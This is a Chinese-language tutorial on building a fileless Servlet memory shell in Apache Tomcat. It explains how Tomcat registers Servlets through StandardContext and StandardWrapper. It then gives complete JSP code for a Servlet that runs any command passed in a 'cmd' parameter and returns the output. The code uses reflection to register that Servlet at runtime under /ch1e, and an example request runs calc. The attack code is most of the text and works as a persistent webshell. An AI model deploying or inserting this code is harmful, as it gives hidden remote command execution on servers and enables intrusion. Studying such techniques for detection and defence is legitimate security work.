Servlet Memory Shell
前言
前面学习完了Filter内存马,现在来学习Servlet内存马,其实两者本质上区别并不大,如果学习过之前的Filter内存马,学习这个Servlet内存马其实是类似的。
正文
这里为了方便师傅们理解,我随便写了个demo
TestServlet.java
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
public class TestServlet implements Servlet {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
Runtime.getRuntime().exec(servletRequest.getParameter("cmd"));
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>TestServlet</servlet-name>
<servlet-class>TestServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>TestServlet</servlet-name>
<url-pattern>/*</url-pattern>
</servlet-mapping>
</web-app>
访问即可造成命令执行
这里的话是设计到了Java Web中的Servlet,熟悉Java开发的师傅应该知道,Servlet会绑定一个url,如果用户对指定的url发起请求,这个请求会先经过Listener,然后经过Filter,最后到Servlet,那么我们如果此时有这么一个恶意的Servlet,并且绑定了指定了路径,那么是不是可以实现无文件getshell呢?(这里的话可以了解一下Servlet的生命周期)
Servlet 的生命周期开始于Web容器的启动时,它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说明,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。
因此此时我们的目标还是需要想办法写入一个恶意的Servlet并且去注册这个Servlet,所以我们需要找到Servlet的信息是从哪里获取,这里对TestServlet的service方法下个断点进行调试
我们继续往前走,找到获取Servlet的位置,可以发现,在ApplicationFilterChain的internalDoFilter方法中,存在如下代码
servlet.service(request, response);
去调用了servlet的service方法,此时的servlet就是我们的TestServlet,那么我们继续往回走,看看servlet是从哪里进行赋值。不过这里也不用这么麻烦了,经过Filter内存马的学习,我们大概可以了解Engine,Host,Context,Wrapper之间的关系,Context 负责管理 Wapper ,而 Wapper 又负责管理 Servlet 实例,因此我们可以直接去查看添加一个servlet后StandardContext的变化
servlet被添加到了children中,对应的是使用StandardWrapper这个类进行封装,其中有servlet的名字跟对应的类。StandardWrapper对应配置文件中的如下节点:
<servlet>
<servlet-name>TestServlet</servlet-name>
<servlet-class>TestServlet</servlet-class>
</servlet>
servlet也有servletMappings,记录了urlParttern跟所对应的servlet的关系standardContext.servletMappings
对应web.xml中的如下节点
<servlet-mapping>
<servlet-name>TestServlet</servlet-name>
<url-pattern>/*</url-pattern>
</servlet-mapping>
因此我们如果要使用Servlet内存马的话思路比较清晰
- 构造一个恶意的Servlet
- 获取到StandardContext
- 用Wrapper对其进行封装
- 添加Wrapper到children中
- 绑定对应的路径和恶意的Servlet
首先先构造一个恶意的Servlet
<%!
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
%>
然后获取到StandardContext,这里可以直接通过request获取
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();
%>
之后就是用Wrapper对其进行封装,这里的loadonstartup是代表servlet的优先级,正数越小,优先级越高
<%
Wrapper newWrapper = stdcontext.createWrapper();
String name = servlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
%>
最后进行url绑定
<%
stdcontext.addChild(newWrapper);
stdcontext.addServletMapping("/ch1e", name);
%>
运行以后需要先访问一下shell.jsp,把我们的Servlet进行注册,然后即可GET:/ch1e?cmd=calc